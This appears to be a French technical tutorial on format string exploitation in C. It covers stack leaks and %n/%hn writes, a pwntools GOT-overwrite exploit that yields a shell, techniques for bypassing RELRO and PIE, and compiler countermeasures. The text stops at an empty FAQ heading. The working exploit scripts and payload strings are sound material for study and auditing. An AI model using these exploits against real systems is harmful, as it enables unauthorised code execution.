Format String Exploitation : Du Crash au RCE

Les vulnérabilités de format string sont un classique de l'exploitation binaire, présentes depuis les années 2000 mais toujours pertinentes en 2026. Une format string vulnerability survient quand une entrée contrôlée par l'attaquant est utilisée comme premier argument d'une fonction de formatage (printf, sprintf, fprintf, syslog) sans spécificateur de format. L'attaquant utilise des spécificateurs comme %x (lecture stack), %s (lecture mémoire arbitraire) et %n (écriture mémoire arbitraire) pour transformer un simple bug de programmation en exécution de code arbitraire. Ce guide technique couvre les mécanismes d'exploitation, les techniques modernes adaptées aux protections actuelles (ASLR, PIE, RELRO, stack canaries), la construction d'exploits avec %n et %hn, et les contre-mesures de compilation. Les développeurs d'exploits et les auditeurs de code trouveront ici une méthodologie complète pour l'exploitation format string en environnement moderne protégé, avec des liens vers les techniques d'exploitation ROP complémentaires.

Mécanisme de Base : printf et la Stack

Les fonctions printf en C utilisent des arguments variadiques : elles lisent les arguments depuis la stack (ou les registres sur x64) selon les spécificateurs de format. Si l'attaquant contrôle la format string, il peut :

// CODE VULNÉRABLE
char user_input[256];
fgets(user_input, sizeof(user_input), stdin);
printf(user_input);  // ❌ VULNÉRABLE — l'utilisateur contrôle le format

// CODE CORRIGÉ
printf("%s", user_input);  // ✅ SÉCURISÉ — format string fixe

// Exploitation :
// Input: "%x.%x.%x.%x" → lit 4 valeurs de la stack
// Input: "%s"           → lit une string à l'adresse pointée par le prochain arg stack
// Input: "%n"           → ÉCRIT le nombre de caractères imprimés à l'adresse stack
// Input: "AAAA%7$n"     → Écrit à l'adresse 0x41414141 (si AAAA est au 7ème arg)

Lecture de la Stack : Leak d'Informations

Les spécificateurs %x (hex 32-bit), %p (pointer), %lx (hex 64-bit) et %s (string) permettent de lire le contenu de la stack. En itérant les positions (%1$x, %2$x, %3$x...), l'attaquant reconstruit l'intégralité de la stack et extrait :

• Adresses de retour : leak des adresses de la stack et du code pour bypass ASLR
• Stack canary : leak de la valeur canary pour bypass stack protection
• Adresses libc : calcul de l'adresse de base de la libc pour les attaques ret2libc/ROP
• PIE base : leak d'adresses du binaire pour bypass PIE

#!/usr/bin/env python3
# Leak automatisé via format string
from pwn import *

elf = ELF('./vuln')
p = process('./vuln')

# Itérer les positions de la stack pour trouver des adresses intéressantes
for i in range(1, 30):
    p.sendline(f'%{i}$p'.encode())
    leak = p.recvline().strip()
    print(f"Position {i:2d}: {leak}")
    # Identifier les adresses : stack, libc, PIE, canary
    # Canary: typiquement se termine par 0x00 (null byte)
    # Libc: commence par 0x7f sur x64
    # PIE: correspond à la plage du binaire

Écriture Mémoire : Le Spécificateur %n

Le spécificateur %n écrit le nombre de caractères imprimés jusqu'à ce point à l'adresse pointée par l'argument correspondant. Avec un contrôle sur la format string ET la possibilité de placer une adresse sur la stack, l'attaquant peut écrire n'importe quelle valeur à n'importe quelle adresse :

# GOT Overwrite via format string (x64, pwntools)
from pwn import *

elf = ELF('./vuln')
p = process('./vuln')

# Cible : écraser l'entrée GOT de printf par l'adresse de system
# printf@GOT sera appelé avec l'argument contrôlé → system(user_input)

got_printf = elf.got['printf']  # Adresse de printf dans la GOT
system_addr = elf.symbols['system']  # Adresse de system (si no-PIE)

# Utiliser %hn (half-word write, 2 octets) pour écrire adresse par morceaux
# %hn écrit les 2 octets inférieurs du compteur de caractères

# Construction du payload avec pwntools fmtstr_payload
payload = fmtstr_payload(
    offset=7,           # Position de notre input sur la stack
    writes={got_printf: system_addr},  # Quoi écrire où
    numbwritten=0,      # Caractères déjà imprimés
    write_size='short'  # Utiliser %hn (2 octets) au lieu de %n (4)
)

p.sendline(payload)
# Au prochain appel printf(user_input) → system(user_input)
p.sendline(b'/bin/sh')
p.interactive()

Exploitation Moderne : Full RELRO et PIE

Sur les systèmes modernes avec Full RELRO (GOT read-only), PIE (binaire à position indépendante) et ASLR, l'exploitation format string nécessite une approche en deux étapes :

1. Étape 1 — Information Leak : utiliser %p pour leak les adresses stack, libc et PIE base. Calculer les adresses de gadgets ROP et de system/execve.
2. Étape 2 — Exploitation : avec les adresses connues, écraser l'adresse de retour sur la stack (via %n) avec une ROP chain, ou écraser un pointeur de fonction (hook malloc, __free_hook avant glibc 2.34, etc.).

Format String sur le Heap

Les format strings ne sont pas toujours sur la stack — parfois le buffer est alloué sur le heap (malloc). Dans ce cas, l'attaquant ne peut pas placer d'adresses directement accessibles via les spécificateurs %n. La technique consiste à trouver des pointeurs sur la stack qui pointent vers d'autres pointeurs (chaîne de pointeurs) et à utiliser %n en deux passes : d'abord modifier le pointeur intermédiaire, puis utiliser ce pointeur modifié pour écrire à l'adresse cible.

Contre-mesures de Compilation

• -Wformat -Wformat-security : avertissements à la compilation pour les format strings non constantes
• -Werror=format-security : transforme l'avertissement en erreur (empêche la compilation)
• -D_FORTIFY_SOURCE=2 : remplace printf par __printf_chk qui détecte les %n dans les format strings writables
• Audit de code : rechercher tous les appels printf/sprintf/syslog avec un premier argument non-constant
• Fuzzing : les fuzzers (AFL++, libFuzzer) détectent les crashes format string automatiquement

FAQ — Questions Fréquentes